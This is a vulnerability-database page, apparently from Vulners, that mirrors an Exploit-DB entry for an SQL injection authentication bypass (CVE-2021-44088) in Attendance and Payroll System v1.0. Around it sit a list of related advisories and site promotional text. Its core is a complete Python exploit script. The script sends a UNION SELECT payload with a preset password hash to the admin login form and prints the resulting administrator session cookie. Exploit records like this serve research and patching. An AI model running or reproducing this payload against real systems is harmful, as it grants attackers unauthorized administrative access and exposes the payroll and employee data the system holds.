Lucene search
+L

Attendance and Payroll System 1.0 - SQL Injection (SQLi) Authentication Bypass

🗓️ 07 Mar 2022 00:00:00Reported by pr0zType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 313 Views

Attendance and Payroll System v1.0 SQLi Authentication Bypas

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2021-44088
17 Mar 202222:15
–attackerkb
circl
Circl
CVE-2021-44088
18 Mar 202201:21
–circl
cnnvd
CNNVD
Attendance and Payroll System SQL Injection Vulnerability
17 Mar 202200:00
–cnnvd
cnvd
CNVD
Sourcecodester Attendance and Payroll System SQL注入漏洞
18 Mar 202200:00
–cnvd
cve
CVE
CVE-2021-44088
17 Mar 202221:07
–cve
cvelist
Cvelist
CVE-2021-44088
17 Mar 202221:07
–cvelist
euvd
EUVD
EUVD-2021-30946
3 Oct 202520:07
–euvd
nvd
NVD
CVE-2021-44088
17 Mar 202222:15
–nvd
osv_cve
osv_cve
CVE-2021-44088
17 Mar 202222:15
–osv_cve
prion
Prion
Sql injection
17 Mar 202222:15
–prion
Rows per page
# Exploit Title: Attendance and Payroll System v1.0 - SQLi Authentication Bypass
# Date: 04/03/2022
# Exploit Author: pr0z
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/apsystem.zip
# Version: v1.0
# Tested on: Linux, MySQL, Apache

import requests
import sys
from requests.exceptions import ConnectionError


print('\n    >> Attendance and Payroll System v1.0')
print('    >> Authentication Bypass through SQL injection')
print('    >> By pr0z\n')

login_path = '/apsystem/admin/login.php'
index_path = '/apsystem/admin/index.php'

payload = "username=nobodyhavethisusername' UNION SELECT 1 as id, 'myuser' as username, '$2y$10$UNm8zqwv6d07rp3zr6iGD.GXNqo/P4qB7fUZB79M3vmpQ6SidGi.G' as password ,'zzz' as firstname,'zzz' as lastname,'zzz.php' as photo, '2018-04-30' as created_on -- &password=test&login="
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
#proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}


# Check for arguments
if len(sys.argv) < 2 or '-h' in sys.argv:
    print("[!] Usage: python3 apsystem_sqli.py http://127.0.0.1")
    sys.exit()

# Bypass Authentication
target = sys.argv[1]
print("[+] Extracting Administrator cookie using SQLi ...")
sess = requests.Session()
try:
    sess.get(target + index_path,headers=headers, verify=False)
    sess.post(target + login_path, data=payload, headers=headers,verify=False)
except ConnectionError:
    print('[-] We were unable to establish a connection')
    sys.exit()

cookie_val = sess.cookies.get_dict().get("PHPSESSID")

print("[+] Use the following cookie:\n")
print(f"PHPSESSID: {cookie_val}")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 27.5
CVSS 3.19.8
EPSS0.02972
313